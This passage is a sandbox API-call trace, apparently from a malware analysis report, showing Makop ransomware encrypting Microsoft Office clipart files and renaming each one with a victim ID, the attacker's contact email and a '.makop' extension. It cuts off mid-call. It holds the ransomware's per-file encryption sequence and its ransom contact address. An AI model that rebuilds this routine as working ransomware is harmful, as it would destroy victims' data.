hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.489] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.490] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.490] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.490] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x148c, lpOverlapped=0x0) returned 1 [0113.491] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490, dwBufLen=0x1490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490) returned 1 [0113.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1490, lpOverlapped=0x0) returned 1 [0113.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.492] SetEndOfFile (hFile=0xf0) returned 1 [0113.498] GetProcessHeap () returned 0x48a0000 [0113.498] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.498] GetProcessHeap () returned 0x48a0000 [0113.498] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.498] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.499] CloseHandle (hObject=0xf0) returned 1 [0113.500] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0113.500] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0113.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.500] GetProcessHeap () returned 0x48a0000 [0113.500] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.500] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.501] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.501] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.501] GetProcessHeap () returned 0x48a0000 [0113.501] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.501] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.501] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.501] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.506] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.507] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x380, lpOverlapped=0x0) returned 1 [0113.507] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x380, dwBufLen=0x380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x380) returned 1 [0113.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x380, lpOverlapped=0x0) returned 1 [0113.507] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.507] SetEndOfFile (hFile=0xf0) returned 1 [0113.513] GetProcessHeap () returned 0x48a0000 [0113.513] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.513] GetProcessHeap () returned 0x48a0000 [0113.513] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.513] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.515] CloseHandle (hObject=0xf0) returned 1 [0113.515] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0113.515] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0113.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.515] GetProcessHeap () returned 0x48a0000 [0113.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.516] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.516] GetProcessHeap () returned 0x48a0000 [0113.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.521] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.521] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.521] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.521] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.522] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2f0, lpOverlapped=0x0) returned 1 [0113.522] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0) returned 1 [0113.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.522] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2f0, lpOverlapped=0x0) returned 1 [0113.522] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.522] SetEndOfFile (hFile=0xf0) returned 1 [0113.528] GetProcessHeap () returned 0x48a0000 [0113.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.528] GetProcessHeap () returned 0x48a0000 [0113.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.529] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.529] CloseHandle (hObject=0xf0) returned 1 [0113.530] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0113.530] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0113.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.530] GetProcessHeap () returned 0x48a0000 [0113.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.531] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.531] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.531] GetProcessHeap () returned 0x48a0000 [0113.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.531] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.536] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b90, lpOverlapped=0x0) returned 1 [0113.538] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b90, dwBufLen=0x2b90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b90) returned 1 [0113.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b90, lpOverlapped=0x0) returned 1 [0113.538] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.539] SetEndOfFile (hFile=0xf0) returned 1 [0113.544] GetProcessHeap () returned 0x48a0000 [0113.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.544] GetProcessHeap () returned 0x48a0000 [0113.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.544] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.546] CloseHandle (hObject=0xf0) returned 1 [0113.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0113.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0113.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.548] GetProcessHeap () returned 0x48a0000 [0113.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.548] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0113.553] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.553] GetProcessHeap () returned 0x48a0000 [0113.553] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.553] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, 